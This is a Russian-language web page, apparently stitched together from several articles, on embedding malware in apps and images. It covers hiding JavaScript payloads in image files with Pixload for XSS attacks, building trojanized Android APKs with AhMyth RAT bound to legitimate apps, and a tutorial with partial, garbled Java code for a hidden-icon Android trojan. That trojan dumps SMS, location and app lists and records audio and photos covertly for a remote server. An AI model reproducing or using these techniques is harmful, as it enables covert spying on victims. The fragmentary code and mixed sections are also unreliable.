Как вшить вирус в приложение

Обновлено: 19.09.2024

Когда-то стали известны способы размещения вредоносного кода в изображении. Немногим позднее появилась атака Polyglot,когда вредоносный файл одновременно является изображением и JavaScript-кодом. В основном,это касалось файлов BMP,при этом,2 первых байта представляли 16-ричное представление символов ВМ в изображении ВМP. Далее,4 байта отвечают за размер,затем 4 нулевых байта и байты,отвечающие за смещение данных. При выполнении техники Polyglot,контролируется размер изображения,а 16-ричные символы представляются так,чтобы компьютерами интерпретировались иначе. Т.е.,чтобы выполнялись как код.


Соответственно,появился генератор полезной нагрузки Pixload,который создал Alexandr Savca (chinarulezzz). И который представляю Вашему вниманию.

Pixload умеет сгенерировать нагрузку в файлах BMP,GIF,JPG и PNG. Работает он как с дефолтными файлами,которые прилагаются в его директории,так и может начинять небольшие произвольные файлы соответствующего формата.
В отличии от других аналогичных техник,файлы не требуется конвертировать в иконки и т.п.

Если кому потребуется начинка из shell-кода х86 как в старые добрые времена,то смотрим здесь и здесь

Другие полезные ссылки для информации Вы найдёте на странице автора

Вся информация предоставлена исключительно в рамках ознакомления и изучения проблем информационной безопасности.

Категорически запрещается применение рассматриваемого инструмента в незаконных целях.

Установка:

Использование:

Если работать с дефолтными данными и произвольный выходной файл отсутствует,то при следующем генерировании,такой файл перезапишется.

Если имеется скачанный произвольный выходной файл,то указываем на выходе его название,и нагрузка запишется в него.

Для удобства поместите такой файл в директорию инструмента.

2) Для JPG 2 вида нагрузки,либо в параметр COMMENT,либо DQT table

И именно для данного типа файлов существует лимитирование нагрузки в 64 байта и требование,чтобы файл был произвольным.

После генерирования полезной нагрузки,размер в свойствах останется неизменным,но само изображение примет минимальный размер.

Опасность такие файлы представляют для посетителей ресурсов,у которых,особенно присутствует XSS-уязвимость. Например, находятся вот таким способом уязвимые ресурсы по доркам.

Наличие уязвимости позволяет даже себя любимого вывести на главную страницу.

Загружаются файлы если это позволяется и выполняется атака через браузеры при взаимодействии с файлом. Мы конечно не станем ничего никуда грузить и заниматься вредительством.

Защитой от подобной атаки служит по-прежнему контроль javascript в браузере за счёт дополнений.

И при изучении файла hex-редактором ,а лучше,анализатором пакетов,можно сразу увидеть,что с файлом что-то не так и виден в нём скрипт


Термином RAT (Remote Access Tool) принято называть утилиты удаленного администрирования. Они могут использоваться в благих целях по своему прямому назначению, как, например, знаменитый TeamViewer, а могут устанавливаться злодеями в глубокой тайне от пользователя. В подобных случаях RAT нередко расшифровывают как Remote Access Trojan, и прямой перевод английского слова rat — «крыса» — тут приходится как нельзя кстати.

AhMyth RAT (Remote Access Trojan) — это приложение с открытым исходным кодом, в настоящее время находится на стадии бета-версии. Программа ориентирована на пользователей Windows, но на GitHub можно найти исходники и для Unix-подобных платформ.

AhMyth RAT состоит из двух компонентов.

Серверное приложение, с помощью которого можно управлять зараженным устройством и генерировать файлы APK с вредоносным кодом. Создано оно на Electron framework — фреймворке, разработанном в GitHub для создания простых графических приложений.

Клиентский APK, содержащий вредоносный код, который позволяет получить удаленный доступ к зараженному устройству. То есть наш APK будет выполнять функции бэкдора.

Установка AhMyth RAT

Серверная часть устанавливается очень просто, тем более автор выложил в свободный доступ бинарники программы. Но при желании можно скомпилировать ее из исходников. Лично я проводил свои тесты на машине под управлением Windows 10.

Для работы утилиты нам необходима виртуальная машина Java. Устанавливаем ее с официального сайта Java. Затем нужно скачать бинарники самой AhMyth. Их ты можешь найти в официальном репозитории проекта на GitHub, вкладка Assets. При скачивании лучше отключить антивирус, чтобы его не хватил удар от происходящего.

Создаем зараженный APK

Чтобы создать файл APK для Android, открой вкладку APK Builder. Внешний вид конструктора вредоносных мобильных приложений показан на следующей иллюстрации.

Вкладка с конструктором APK

Вкладка с конструктором APK

Пользоваться этим инструментом очень просто. В окне Source IP мы прописываем IP-адрес атакующей машины (этот адрес потом легко вычисляется при исследовании вредоноса). В поле Source Port ты можешь указать порт, который будет зарезервирован машиной для прослушивания подключений. По умолчанию используется порт 42 474.

WARNING

Помни, что распространение вирусов и вредоносных программ — незаконное действие и влечет за собой уголовную ответственность. Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не призывают к использованию полученных знаний в практических целях и не несут ответственности за любой возможный вред, причиненный материалом.

Без использования дополнительной опции Bind With Another Apk ты сгенерируешь мобильное приложение только с вредоносным кодом. И это практически бесполезно, поскольку заставить юзера установить такую программу можно разве что под пытками.

Но есть проверенный способ создания малвари, который используют все продвинутые вирмейкеры: найти в интернете какой-нибудь APK и склеить его с вредоносом. Для этого поставь флажок Bind With Another Apk, выбери нужный APK и укажи метод интеграции вредоноса в телефон. Есть два метода: при запуске зараженного APK или при перезагрузке телефона после установки RAT. Авторы программы рекомендуют второй вариант.

Осталось нажать кнопку Build — по умолчанию зараженный файл сохраняется в папку C:\Users\<Your_Username>\AhMyth\Output .

Продолжение доступно только участникам

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее


Случаются такие дни, когда охота насорить кому-нибудь скрытно, или же вы решили создать вирус, который будет красть данные, любые данные. Вообразим себя злыми хакерами, которые решили начать действовать. Давайте познаем это необъятное искусство.

Определение вируса

История компьютерных вирусов берет свое начало в 1983 году, когда Фред Коэн использовал его впервые.

Онлайн проверка ссылки

Вирус - это вредоносный код, он направлен на захват управления вашими файлами, настройками. Создает копии самого себя, всячески захламляет персональный компьютер пользователя. Некоторые можно обнаружить сразу, когда другие скрываются в системе и паразитируют в ней. Часто их передача происходит с помощью сайтов, где размещен пиратский контент, порно-сайтов и других. Бывает, скачивание вирусов происходит при желании скачать мод или чит. Довольно просто распространить вирус, если у вас готова вирусная ссылка.

Методы воздействия вредоносных программ

Шуточный вирус

К компьютерным вирусам относится множество вредоносных программ, однако не все они способны к "размножению":

  • Черви. Заражают файлы на компьютере, это могут быть любые файлы, начиная от .exe и заканчивая загрузочными секторами. Передаются через чаты, программы для общения типа Skype, icq, через электронную почту.
  • Троянские кони, или трояны. Лишены самостоятельной способности распространяться: они попадают на компьютер жертвы благодаря их авторам и третьим лицам.
  • Руткит. Сборка различных программных утилит при проникновении на компьютер жертвы получает права суперпользователя, речь про UNIX-системы. Представляет собой многофункциональное средство для "заметания следов" при вторжении в систему с помощью снифферов, сканеров, кейлоггеров, троянских приложений. Способны заразить устройство на операционной системе Microsoft Windows. Захватывают таблицы вызовов и их функций, методы использования драйверов.
  • Вымогатели. Такие вредоносные программы препятствуют входу пользователя на устройство путем принуждения к выкупу. Последние крупные события, связанные с программами-вымогателями, - WannaCry, Petya, Cerber, Cryptoblocker и Locky. Все они требовали за возвращение доступа в систему криптовалюту биткоин.

Фальшивое обновление

  • Кейлоггер. Следит за вводом логинов и паролей на клавиатуре. Фиксирует все нажатия, а затем отсылает журнал действий на удаленный сервер, после чего злоумышленник использует эти данные на свое усмотрение.
  • Снифферы. Анализирует данные с сетевой карты, записывает логи с помощью прослушивания, подключения сниффера при разрыве канала, ответвления сниффером копии трафика, а также через анализ побочных электромагнитных излучений, атак на канальном или сетевом уровне.
  • Ботнет, или зомби-сети. Такая сеть представляет собой множество компьютеров, образующих одну сеть и зараженных вредоносной программой для получения доступа хакеру или иному злоумышленнику.
  • Эксплойты. Этот вид вредоносного программного обеспечения может быть полезным для пиратов, ведь эксплойты вызываются ошибками в процессе разработки программного обеспечения. Так злоумышленник получает доступ к программе, а дальше и к системе пользователя, если так задумал хакер. У них есть отдельная классификация по уязвимостям: нулевой день, DoS, спуфинг или XXS.

Пути распространения

Вредоносный контент может попасть на устройство разными способами:

Рассылка в социальных сетях

  • Вирусная ссылка.
  • Доступ к серверу или локальной сети, по которой будет проходить распространение вредоносного приложения.
  • Выполнение программы, зараженной вирусом.
  • Работа с приложениями пакета Microsoft Office, когда с помощью макровирусов документов вирус распространяется по всему персональному компьютеру пользователя.

Спам вирусы

Где могут прятаться вирусы

Когда вирусная ссылка сделана, а вы запустили программу, которая начинает скрытую работу на персональном компьютере, то некоторые вирусы и другие вредоносные программы способны на сокрытие своих данных в системе или в исполняемых файлах, расширение которых может быть следующего типа:

Признаки

Распространение вируса

Любое заболевание или заражение протекает в скрытой фазе или в открытой, этот принцип присущ и вредоносному программному обеспечению:

  • Устройство начало работать со сбоями, программы, которые работали раньше хорошо, вдруг стали тормозить или вылетать.
  • Медленная работа устройства.
  • Проблема с запуском операционной системы.
  • Исчезновение файлов и каталогов или изменение их содержимого.
  • Содержимое файла подвергается изменению.
  • Изменение времени модификации файлов. Можно заметить, если в папке используется вид "список", или вы посмотрите на свойство элемента.
  • Увеличение или уменьшение количества файлов на диске, и впоследствии увеличение или уменьшение объема доступной памяти.
  • Оперативной памяти становится меньше из-за работы посторонних сервисов и программ.

Троян на сайте

  • Показ шокирующих или иных изображений на экране без вмешательства пользователя.
  • Странные звуковые сигналы.

Методы защиты

Самое время подумать о способах защиты от вторжения:

  • Программные методы. К ним относятся антивирусы, файрволлы и другое защитное ПО.
  • Аппаратные методы. Защита от постороннего вмешательства к портам или файлам устройства, непосредственно при доступе к "железу".
  • Организационные методы защиты. Это дополнительные меры для сотрудников и иных лиц, которые могут иметь доступ к системе.

Как найти список вирусных ссылок? Благодаря Интернету можно скачать сервисы, например, от Dr.Web. Или воспользоваться специальным сервисом для показа всех возможных вредных ссылок. Там есть список на вирусные ссылки. Остается выбрать наиболее подходящий вариант.

Вирусная ссылка

Не забывайте, что использование вирусных программ преследуется по закону!

Приступаем к самому главному действию - к созданию вирусных ссылок и выяснению способов их распространения.

Как создать троян для Андроид

Android принято называть рассадником вредоносных программ. Каждый день здесь выявляют более 8 тысяч новых образцов вирусов. И эти цифры постоянно растут.

Но задумывались ли вы, как эти вредоносные программы работают? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.

Как написать троян на Андроид

Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.

Возможности трояна будут следующие:

  • сбор информации о местоположении;
  • получение списка установленных приложений;
  • получение СМС;
  • запись аудио;
  • съемка задней или фронтальной камерой.

Все эти данные наше приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.

Важно! Создание и распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы вы сломали себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.

По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).

Каркас

На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).

Начнем. Создайте приложение, указав в манифесте следующие разрешения:

< uses - permission android : name = "android.permission.ACCESS_COARSE_LOCATION" / > < uses - permission android : name = "android.permission.ACCESS_FINE_LOCATION" / > < uses - permission android : name = "android.permission.INTERNET" / > < uses - permission android : name = "android.permission.CAMERA" / > < uses - permission android : name = "android.permission.RECORD_AUDIO" / > < uses - permission android : name = "android.permission.RECEIVE_BOOT_COMPLETED" / > < uses - permission android : name = "android.permission.READ_PHONE_STATE" / > < uses - permission android : name = "android.permission.PROCESS_OUTGOING_CALLS" / > < uses - permission android : name = "android.permission.READ_CONTACTS" / > < uses - permission android : name = "android.permission.READ_SMS" / >

Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):

< category android : name = "android.intent.category.LAUNCHER" / >

Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:

startService ( new Intent ( this , MainService . class ) ) ; ComponentName cn = new ComponentName ( "com.example.app" , "com.example.app.MainActivity" ) ; pm . setComponentEnabledSetting ( cn , PackageManager . COMPONENT_ENABLED_STATE_DISABLED , PackageManager . DONT_KILL_APP ) ;

Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.

Информация о местоположении

Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.

Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).

В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:

LocationManager lManager = ( LocationManager ) context . getSystemService ( Context . LOCATION_SERVICE ) ; android . location . Location locationGPS = lManager . getLastKnownLocation ( LocationManager . GPS_PROVIDER ) ; android . location . Location locationNet = lManager . getLastKnownLocation ( LocationManager . NETWORK_PROVIDER ) ;

Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.

Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:

String locationFile = context . getApplicationInfo ( ) . dataDir + "/location" OutputStreamWriter outputStreamWriter = new OutputStreamWriter ( context . openFileOutput ( locationFile , Context . MODE_PRIVATE ) ) ; outputStreamWriter . write ( loc . getLatitude ( ) + " " + loc . getLongitude ) ;

Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.

Список установленных приложений

Получить список установленных приложений еще проще:

String appsFile = context . getApplicationInfo ( ) . dataDir + "/apps" final PackageManager pm = context . getPackageManager ( ) ; List < ApplicationInfo > packages = pm . getInstalledApplications ( PackageManager . GET_META_DATA ) ; pw . println ( pm . getApplicationLabel ( packageInfo ) + ": " + packageInfo . packageName ) ; private boolean isSystemPackage ( ApplicationInfo applicationInfo ) < return ( ( applicationInfo . flags & ApplicationInfo.FLAG_SYSTEM) != 0);

Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.

Дамп СМС

Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:

void dumpSMS ( Context context , String file , String box ) < SimpleDateFormat formatter = new SimpleDateFormat ( "yyyy.MM.dd HH:mm:ss" , Locale . US ) ; Cursor cursor = context . getContentResolver ( ) . query ( Uri . parse ( "content://sms/" + box ) , null , null , null , null ) ; for ( int idx = 0 ; idx < cursor . getColumnCount ( ) ; idx ++ ) < String dateString = formatter . format ( new Date ( Long . valueOf ( date ) ) ) ;

Использовать его следует так:

String inboxFile = context . getApplicationInfo ( ) . dataDir + "/sms_inbox" String sentFile = context . getApplicationInfo ( ) . dataDir + "/sms_sent" ;

Записи в файле будут выглядеть примерно так:

Скрытая запись аудио

recorder . setAudioSource ( MediaRecorder . AudioSource . MIC ) ; recorder . setOutputFormat ( MediaRecorder . OutputFormat . THREE_GPP ) ; recorder . setAudioEncoder ( MediaRecorder . AudioEncoder . AMR_NB ) ;

Использовать его можно, например, так:

DateFormat formatter = new SimpleDateFormat ( "yyyy-MM-dd-HH-mm-ss" , Locale . US ) ; String filePrefix = context . getApplicationInfo ( ) . dataDir + "/audio-" ; recordAudio ( filePrefix + formatter . format ( date ) + ".3gp" , 15 ) ;

Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.3gp.

Скрытая съемка

С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.

Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):

Читайте также: